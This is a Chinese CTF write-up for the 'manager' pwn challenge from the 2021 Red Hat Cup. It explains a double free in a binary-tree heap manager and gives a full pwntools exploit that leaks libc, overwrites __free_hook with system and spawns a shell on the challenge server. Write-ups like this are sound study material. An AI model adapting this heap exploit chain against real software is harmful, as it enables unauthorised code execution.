manager

发表于 2021-05-25 更新于 2021-05-26 分类于 Challenge， 2021， 第四届红帽杯网络安全大赛， Pwn
Challenge | 2021 | 第四届红帽杯网络安全大赛 | Pwn | manager

点击此处获得更好的阅读体验

WriteUp来源

来自Eqqie的博客

题目描述

> *Vulnerable data manager. Try to exploit!*

题目考点

- *Double Free*

解题思路

用二叉树管理内存的堆题，特定条件下删根节点会double free。

伪代码看的我血压升高，直接调确定一种情况比如根节点有左右节点，且右节点有两个叶子。这样free掉根节点时会出现loop chain。慢慢利用就行。

```python
from pwn import *

#p = process("./chall", env={"LD_PRELOAD":"./libc-2.27.so"})
p = remote("47.105.94.48", 12243)
libc = ELF("./libc-2.27.so")
context.arch = "amd64"
context.log_level = "debug"

# header: 0x555555554000+0x202018

def add(key:int, length:int, content):
    p.sendlineafter(b"> ", b"1")
    p.sendlineafter(b"key> ", str(key).encode())
    p.sendlineafter(b"len> ", str(length).encode())
    p.sendafter(b"content> ", content)

def delete(key:int):
    p.sendlineafter(b"> ", b"2")
    p.sendlineafter(b"key> ", str(key).encode())

def show():
    p.sendlineafter(b"> ", b"3")

def exp():
    # leak libc
    add(1, 0x420, b"unsorted")
    add(2, 0x420, b"unsorted2")
    delete(1)
    delete(2)
    add(5, 0x10, b"5"*8)
    show()
    p.recvuntil(b"55555555")
    libc_leak = u64(p.recvuntil(b"\x0a", drop=True).ljust(8, b"\x00"))
    libc_base = libc_leak - 0x3ec090
    system = libc_base + libc.symbols[b"system"]
    free_hook = libc_base + libc.symbols[b"__free_hook"]
    print("libc_leak:", hex(libc_leak))
    print("libc_base:", hex(libc_base))
    print("system:", hex(system))

    # build double free
    add(7, 0x10, b"7"*8)
    add(6, 0x10, b"6"*8)
    add(4, 0x10, b"4"*8)
    add(8, 0x10, b"8"*8)
    delete(8)

    delete(5)
    add(10, 0x10, p64(free_hook))
    add(11, 0x10, b"/bin/sh\x00")
    add(12, 0x10, p64(system))
    print("free_hook:", hex(free_hook))

    delete(11)
    #gdb.attach(p)
    p.interactive()

if __name__ == "__main__":
    exp()
```

- ***本文作者：*** *CTFHub*
- ***本文链接：*** *https://writeup.ctfhub.com/Challenge/2021/第四届红帽杯网络安全大赛/Pwn/hWVg6tNRA7AMjfwBn3rt3x.html*
- ***版权声明：*** *本博客所有文章除特别声明外，均采用 BY-NC-SA 许可协议。转载请注明出处！*

 # Challenge # 2021 # Pwn # 第四届红帽杯网络安全大赛
find_it
parser